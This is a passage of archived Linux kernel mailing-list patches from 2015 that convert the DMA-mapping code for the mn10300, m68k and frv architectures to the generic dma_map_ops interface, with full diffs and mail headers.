- * See Documentation/DMA-API.txt for the description of how the
- * following DMA API should work.
- */
-
-extern void *dma_alloc_coherent(struct device *dev, size_t size,
-				dma_addr_t *dma_handle, int flag);
-
-extern void dma_free_coherent(struct device *dev, size_t size,
-			      void *vaddr, dma_addr_t dma_handle);
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent((d), (s), (h), (f))
-#define dma_free_noncoherent(d, s, v, h)  dma_free_coherent((d), (s), (v), (h))
-
-static inline
-dma_addr_t dma_map_single(struct device *dev, void *ptr, size_t size,
-			  enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-	mn10300_dcache_flush_inv();
-	return virt_to_bus(ptr);
-}
-
-static inline
-void dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		      enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-static inline
-int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	       enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	BUG_ON(!valid_dma_direction(direction));
-	WARN_ON(nents == 0 || sglist[0].length == 0);
-
-	for_each_sg(sglist, sg, nents, i) {
-		BUG_ON(!sg_page(sg));
-
-		sg->dma_address = sg_phys(sg);
-	}
-
-	mn10300_dcache_flush_inv();
-	return nents;
-}
-
-static inline
-void dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-		  enum dma_data_direction direction)
-{
-	BUG_ON(!valid_dma_direction(direction));
-}
-
-static inline
-dma_addr_t dma_map_page(struct device *dev, struct page *page,
-			unsigned long offset, size_t size,
-			enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-	return page_to_bus(page) + offset;
-}
-
-static inline
-void dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-		    enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-static inline
-void dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			     size_t size, enum dma_data_direction direction)
-{
-}
-
-static inline
-void dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
-				size_t size, enum dma_data_direction direction)
-{
-	mn10300_dcache_flush_inv();
-}
-
-static inline
-void dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-				   unsigned long offset, size_t size,
-				   enum dma_data_direction direction)
-{
-}
-
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction direction)
-{
-	mn10300_dcache_flush_inv();
-}
-
+extern struct dma_map_ops mn10300_dma_ops;
 
-static inline
-void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-			 int nelems, enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-}
-
-static inline
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			    int nelems, enum dma_data_direction direction)
-{
-	mn10300_dcache_flush_inv();
-}
-
-static inline
-int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-static inline
-int dma_supported(struct device *dev, u64 mask)
-{
-	/*
-	 * we fall back to GFP_DMA when the mask isn't all 1s, so we can't
-	 * guarantee allocations that must be within a tighter range than
-	 * GFP_DMA
-	 */
-	if (mask < 0x00ffffff)
-		return 0;
-	return 1;
-}
-
-static inline
-int dma_set_mask(struct device *dev, u64 mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-	return 0;
+	return &mn10300_dma_ops;
 }
 
 static inline
@@ -168,19 +28,6 @@ void dma_cache_sync(void *vaddr, size_t size,
 	mn10300_dcache_flush_inv();
 }
 
-/* Not supported for now */
-static inline int dma_mmap_coherent(struct device *dev,
-				    struct vm_area_struct *vma, void *cpu_addr,
-				    dma_addr_t dma_addr, size_t size)
-{
-	return -EINVAL;
-}
-
-static inline int dma_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size)
-{
-	return -EINVAL;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 #endif
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index e244ebe..8842394 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -20,8 +20,8 @@
 
 static unsigned long pci_sram_allocated = 0xbc000000;
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *dma_handle, int gfp)
+static void *mn10300_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	unsigned long addr;
 	void *ret;
@@ -61,10 +61,9 @@ done:
 	printk("dma_alloc_coherent() = %p [%x]\n", ret, *dma_handle);
 	return ret;
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
-void dma_free_coherent(struct device *dev, size_t size, void *vaddr,
-		       dma_addr_t dma_handle)
+static void mn10300_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	unsigned long addr = (unsigned long) vaddr & ~0x20000000;
 
@@ -73,4 +72,60 @@ void dma_free_coherent(struct device *dev, size_t size, void *vaddr,
 
 	free_pages(addr, get_order(size));
 }
-EXPORT_SYMBOL(dma_free_coherent);
+
+static int mn10300_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sglist, sg, nents, i) {
+		BUG_ON(!sg_page(sg));
+
+		sg->dma_address = sg_phys(sg);
+	}
+
+	mn10300_dcache_flush_inv();
+	return nents;
+}
+
+static dma_addr_t mn10300_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
+{
+	return page_to_bus(page) + offset;
+}
+
+static void mn10300_dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
+				size_t size, enum dma_data_direction direction)
+{
+	mn10300_dcache_flush_inv();
+}
+
+static void mn10300_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
+			    int nelems, enum dma_data_direction direction)
+{
+	mn10300_dcache_flush_inv();
+}
+
+static int mn10300_dma_supported(struct device *dev, u64 mask)
+{
+	/*
+	 * we fall back to GFP_DMA when the mask isn't all 1s, so we can't
+	 * guarantee allocations that must be within a tighter range than
+	 * GFP_DMA
+	 */
+	if (mask < 0x00ffffff)
+		return 0;
+	return 1;
+}
+
+struct dma_map_ops mn10300_dma_ops = {
+	.alloc			= mn10300_dma_alloc,
+	.free			= mn10300_dma_free,
+	.map_page		= mn10300_dma_map_page,
+	.map_sg			= mn10300_dma_map_sg,
+	.sync_single_for_device	= mn10300_dma_sync_single_for_device,
+	.sync_sg_for_device	= mn10300_dma_sync_sg_for_device,
+};
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 11/16] m68k: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:16 +0100
Lines: 280
Approved: news@gmane.org
Message-ID: <1447093041-21832-12-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093362 18783 80.91.229.3 (9 Nov 2015 18:22:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:42 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Nov 09 19:22:32 2015
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1Zvr5I-00059O-5W
	for glpm-linux-m68k@plane.gmane.org; Mon, 09 Nov 2015 19:22:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752773AbbKISW1 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:27 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58566 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISW0 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 9 Nov 2015 13:22:26 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr58-0003dO-Dx; Mon, 09 Nov 2015 18:22:19 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:7594 gmane.linux.ports.parisc:26139 gmane.linux.kernel.metag:656 gmane.linux.ports.sparc:21743 gmane.linux.kernel.iommu:11449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/7594>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/m68k/Kconfig                   |   1 +
 arch/m68k/include/asm/dma-mapping.h | 112 ++----------------------------------
 arch/m68k/kernel/dma.c              |  61 +++++++++-----------
 3 files changed, 32 insertions(+), 142 deletions(-)

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 498b567..d5d75b3 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -23,6 +23,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select HAVE_DMA_ATTRS
 
 config RWSEM_GENERIC_SPINLOCK
 	bool
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
index 05aa535..2c082a6 100644
--- a/arch/m68k/include/asm/dma-mapping.h
+++ b/arch/m68k/include/asm/dma-mapping.h
@@ -1,123 +1,19 @@
 #ifndef _M68K_DMA_MAPPING_H
 #define _M68K_DMA_MAPPING_H
 
-#include <asm/cache.h>
+extern struct dma_map_ops m68k_dma_ops;
 
-struct scatterlist;
-
-static inline int dma_supported(struct device *dev, u64 mask)
-{
-	return 1;
-}
-
-static inline int dma_set_mask(struct device *dev, u64 mask)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	return 0;
+        return &m68k_dma_ops;
 }
 
-extern void *dma_alloc_coherent(struct device *, size_t,
-				dma_addr_t *, gfp_t);
-extern void dma_free_coherent(struct device *, size_t,
-			      void *, dma_addr_t);
+#include <asm-generic/dma-mapping-common.h>
 
-static inline void *dma_alloc_attrs(struct device *dev, size_t size,
-				    dma_addr_t *dma_handle, gfp_t flag,
-				    struct dma_attrs *attrs)
-{
-	/* attrs is not supported and ignored */
-	return dma_alloc_coherent(dev, size, dma_handle, flag);
-}
-
-static inline void dma_free_attrs(struct device *dev, size_t size,
-				  void *cpu_addr, dma_addr_t dma_handle,
-				  struct dma_attrs *attrs)
-{
-	/* attrs is not supported and ignored */
-	dma_free_coherent(dev, size, cpu_addr, dma_handle);
-}
-
-static inline void *dma_alloc_noncoherent(struct device *dev, size_t size,
-					  dma_addr_t *handle, gfp_t flag)
-{
-	return dma_alloc_coherent(dev, size, handle, flag);
-}
-static inline void dma_free_noncoherent(struct device *dev, size_t size,
-					void *addr, dma_addr_t handle)
-{
-	dma_free_coherent(dev, size, addr, handle);
-}
 static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 				  enum dma_data_direction dir)
 {
 	/* we use coherent allocation, so not much to do here. */
 }
 
-extern dma_addr_t dma_map_single(struct device *, void *, size_t,
-				 enum dma_data_direction);
-static inline void dma_unmap_single(struct device *dev, dma_addr_t addr,
-				    size_t size, enum dma_data_direction dir)
-{
-}
-
-extern dma_addr_t dma_map_page(struct device *, struct page *,
-			       unsigned long, size_t size,
-			       enum dma_data_direction);
-static inline void dma_unmap_page(struct device *dev, dma_addr_t address,
-				  size_t size, enum dma_data_direction dir)
-{
-}
-
-extern int dma_map_sg(struct device *, struct scatterlist *, int,
-		      enum dma_data_direction);
-static inline void dma_unmap_sg(struct device *dev, struct scatterlist *sg,
-				int nhwentries, enum dma_data_direction dir)
-{
-}
-
-extern void dma_sync_single_for_device(struct device *, dma_addr_t, size_t,
-				       enum dma_data_direction);
-extern void dma_sync_sg_for_device(struct device *, struct scatterlist *, int,
-				   enum dma_data_direction);
-
-static inline void dma_sync_single_range_for_device(struct device *dev,
-		dma_addr_t dma_handle, unsigned long offset, size_t size,
-		enum dma_data_direction direction)
-{
-	/* just sync everything for now */
-	dma_sync_single_for_device(dev, dma_handle, offset + size, direction);
-}
-
-static inline void dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-					   size_t size, enum dma_data_direction dir)
-{
-}
-
-static inline void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-				       int nents, enum dma_data_direction dir)
-{
-}
-
-static inline void dma_sync_single_range_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, unsigned long offset, size_t size,
-		enum dma_data_direction direction)
-{
-	/* just sync everything for now */
-	dma_sync_single_for_cpu(dev, dma_handle, offset + size, direction);
-}
-
-static inline int dma_mapping_error(struct device *dev, dma_addr_t handle)
-{
-	return 0;
-}
-
-/* drivers/base/dma-mapping.c */
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c, h, s)
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
-
 #endif  /* _M68K_DMA_MAPPING_H */
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index 564665f..cbc78b4 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -18,8 +18,8 @@
 
 #if defined(CONFIG_MMU) && !defined(CONFIG_COLDFIRE)
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *handle, gfp_t flag)
+static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t flag, struct dma_attrs *attrs)
 {
 	struct page *page, **map;
 	pgprot_t pgprot;
@@ -61,8 +61,8 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 	return addr;
 }
 
-void dma_free_coherent(struct device *dev, size_t size,
-		       void *addr, dma_addr_t handle)
+static void m68k_dma_free(struct device *dev, size_t size, void *addr,
+		dma_addr_t handle, struct dma_attrs *attrs)
 {
 	pr_debug("dma_free_coherent: %p, %x\n", addr, handle);
 	vfree(addr);
@@ -72,8 +72,8 @@ void dma_free_coherent(struct device *dev, size_t size,
 
 #include <asm/cacheflush.h>
 
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			   dma_addr_t *dma_handle, gfp_t gfp)
+static void *m68k_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	void *ret;
 	/* ignore region specifiers */
@@ -90,19 +90,16 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 	return ret;
 }
 
-void dma_free_coherent(struct device *dev, size_t size,
-			 void *vaddr, dma_addr_t dma_handle)
+static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
 }
 
 #endif /* CONFIG_MMU && !CONFIG_COLDFIRE */
 
-EXPORT_SYMBOL(dma_alloc_coherent);
-EXPORT_SYMBOL(dma_free_coherent);
-
-void dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
-				size_t size, enum dma_data_direction dir)
+static void m68k_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t handle, size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
@@ -118,10 +115,9 @@ void dma_sync_single_for_device(struct device *dev, dma_addr_t handle,
 		break;
 	}
 }
-EXPORT_SYMBOL(dma_sync_single_for_device);
 
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
-			    int nents, enum dma_data_direction dir)
+static void m68k_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sglist, int nents, enum dma_data_direction dir)
 {
 	int i;
 	struct scatterlist *sg;
@@ -131,31 +127,19 @@ void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
 					   dir);
 	}
 }
-EXPORT_SYMBOL(dma_sync_sg_for_device);
-
-dma_addr_t dma_map_single(struct device *dev, void *addr, size_t size,
-			  enum dma_data_direction dir)
-{
-	dma_addr_t handle = virt_to_bus(addr);
-
-	dma_sync_single_for_device(dev, handle, size, dir);
-	return handle;
-}
-EXPORT_SYMBOL(dma_map_single);
 
-dma_addr_t dma_map_page(struct device *dev, struct page *page,
-			unsigned long offset, size_t size,
-			enum dma_data_direction dir)
+static dma_addr_t m68k_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		struct dma_attrs *attrs)
 {
 	dma_addr_t handle = page_to_phys(page) + offset;
 
 	dma_sync_single_for_device(dev, handle, size, dir);
 	return handle;
 }
-EXPORT_SYMBOL(dma_map_page);
 
-int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
-	       enum dma_data_direction dir)
+static int m68k_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction dir, struct dma_attrs *attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -167,4 +151,13 @@ int dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	}
 	return nents;
 }
-EXPORT_SYMBOL(dma_map_sg);
+
+struct dma_map_ops m68k_dma_ops = {
+	.alloc			= m68k_dma_alloc,
+	.free			= m68k_dma_free,
+	.map_page		= m68k_dma_map_page,
+	.map_sg			= m68k_dma_map_sg,
+	.sync_single_for_device	= m68k_dma_sync_single_for_device,
+	.sync_sg_for_device	= m68k_dma_sync_sg_for_device,
+};
+EXPORT_SYMBOL(m68k_dma_ops);
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 08/16] frv: convert to dma_map_ops
Date: Mon,  9 Nov 2015 19:17:13 +0100
Lines: 398
Approved: news@gmane.org
Message-ID: <1447093041-21832-9-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093365 18816 80.91.229.3 (9 Nov 2015 18:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:45 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 09 19:22:38 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zvr59-00059O-N7
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Nov 2015 19:22:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752560AbbKISWR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:17 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58350 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752426AbbKISWQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2015 13:22:16 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr4x-0003XD-Sx; Mon, 09 Nov 2015 18:22:08 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26140 gmane.linux.kernel.metag:657 gmane.linux.ports.sparc:21744 gmane.linux.kernel.iommu:11450
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26140>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/frv/Kconfig                      |   2 +
 arch/frv/include/asm/dma-mapping.h    | 132 ++--------------------------------
 arch/frv/mb93090-mb00/pci-dma-nommu.c |  72 ++++++++++++-------
 arch/frv/mb93090-mb00/pci-dma.c       |  74 ++++++++++++-------
 4 files changed, 101 insertions(+), 179 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index 34aa193..d4fc724 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -14,6 +14,8 @@ config FRV
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
+	select ARCH_NO_COHERENT_DMA_MMAP
+	select HAVE_DMA_ATTRS
 
 config ZONE_DMA
 	bool
diff --git a/arch/frv/include/asm/dma-mapping.h b/arch/frv/include/asm/dma-mapping.h
index 2840adc..750951c 100644
--- a/arch/frv/include/asm/dma-mapping.h
+++ b/arch/frv/include/asm/dma-mapping.h
@@ -1,128 +1,17 @@
 #ifndef _ASM_DMA_MAPPING_H
 #define _ASM_DMA_MAPPING_H
 
-#include <linux/device.h>
-#include <linux/scatterlist.h>
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
-#include <asm/io.h>
-
-/*
- * See Documentation/DMA-API.txt for the description of how the
- * following DMA API should work.
- */
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
 
 extern unsigned long __nongprelbss dma_coherent_mem_start;
 extern unsigned long __nongprelbss dma_coherent_mem_end;
 
-void *dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t gfp);
-void dma_free_coherent(struct device *dev, size_t size, void *vaddr, dma_addr_t dma_handle);
-
-extern dma_addr_t dma_map_single(struct device *dev, void *ptr, size_t size,
-				 enum dma_data_direction direction);
-
-static inline
-void dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		      enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-extern int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-		      enum dma_data_direction direction);
-
-static inline
-void dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-	     enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-extern
-dma_addr_t dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-			size_t size, enum dma_data_direction direction);
-
-static inline
-void dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-		    enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-}
-
-
-static inline
-void dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
-			     enum dma_data_direction direction)
-{
-}
-
-static inline
-void dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle, size_t size,
-				enum dma_data_direction direction)
-{
-	flush_write_buffers();
-}
+extern struct dma_map_ops frv_dma_ops;
 
-static inline
-void dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-				   unsigned long offset, size_t size,
-				   enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-}
-
-static inline
-void dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				      unsigned long offset, size_t size,
-				      enum dma_data_direction direction)
-{
-	flush_write_buffers();
-}
-
-static inline
-void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
-			 enum dma_data_direction direction)
-{
-}
-
-static inline
-void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg, int nelems,
-			    enum dma_data_direction direction)
-{
-	flush_write_buffers();
-}
-
-static inline
-int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-static inline
-int dma_supported(struct device *dev, u64 mask)
-{
-        /*
-         * we fall back to GFP_DMA when the mask isn't all 1s,
-         * so we can't guarantee allocations that must be
-         * within a tighter range than GFP_DMA..
-         */
-        if (mask < 0x00ffffff)
-                return 0;
-
-	return 1;
-}
-
-static inline
-int dma_set_mask(struct device *dev, u64 mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
+	return &frv_dma_ops;
 }
 
 static inline
@@ -132,19 +21,6 @@ void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	flush_write_buffers();
 }
 
-/* Not supported for now */
-static inline int dma_mmap_coherent(struct device *dev,
-				    struct vm_area_struct *vma, void *cpu_addr,
-				    dma_addr_t dma_addr, size_t size)
-{
-	return -EINVAL;
-}
-
-static inline int dma_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size)
-{
-	return -EINVAL;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 #endif  /* _ASM_DMA_MAPPING_H */
diff --git a/arch/frv/mb93090-mb00/pci-dma-nommu.c b/arch/frv/mb93090-mb00/pci-dma-nommu.c
index 8eeea0d..082be49 100644
--- a/arch/frv/mb93090-mb00/pci-dma-nommu.c
+++ b/arch/frv/mb93090-mb00/pci-dma-nommu.c
@@ -34,7 +34,8 @@ struct dma_alloc_record {
 static DEFINE_SPINLOCK(dma_alloc_lock);
 static LIST_HEAD(dma_alloc_list);
 
-void *dma_alloc_coherent(struct device *hwdev, size_t size, dma_addr_t *dma_handle, gfp_t gfp)
+static void *frv_dma_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, struct dma_attrs *attrs)
 {
 	struct dma_alloc_record *new;
 	struct list_head *this = &dma_alloc_list;
@@ -84,9 +85,8 @@ void *dma_alloc_coherent(struct device *hwdev, size_t size, dma_addr_t *dma_hand
 	return NULL;
 }
 
-EXPORT_SYMBOL(dma_alloc_coherent);
-
-void dma_free_coherent(struct device *hwdev, size_t size, void *vaddr, dma_addr_t dma_handle)
+static void frv_dma_free(struct device *hwdev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	struct dma_alloc_record *rec;
 	unsigned long flags;
@@ -105,22 +105,9 @@ void dma_free_coherent(struct device *hwdev, size_t size, void *vaddr, dma_addr_
 	BUG();
 }
 
-EXPORT_SYMBOL(dma_free_coherent);
-
-dma_addr_t dma_map_single(struct device *dev, void *ptr, size_t size,
-			  enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
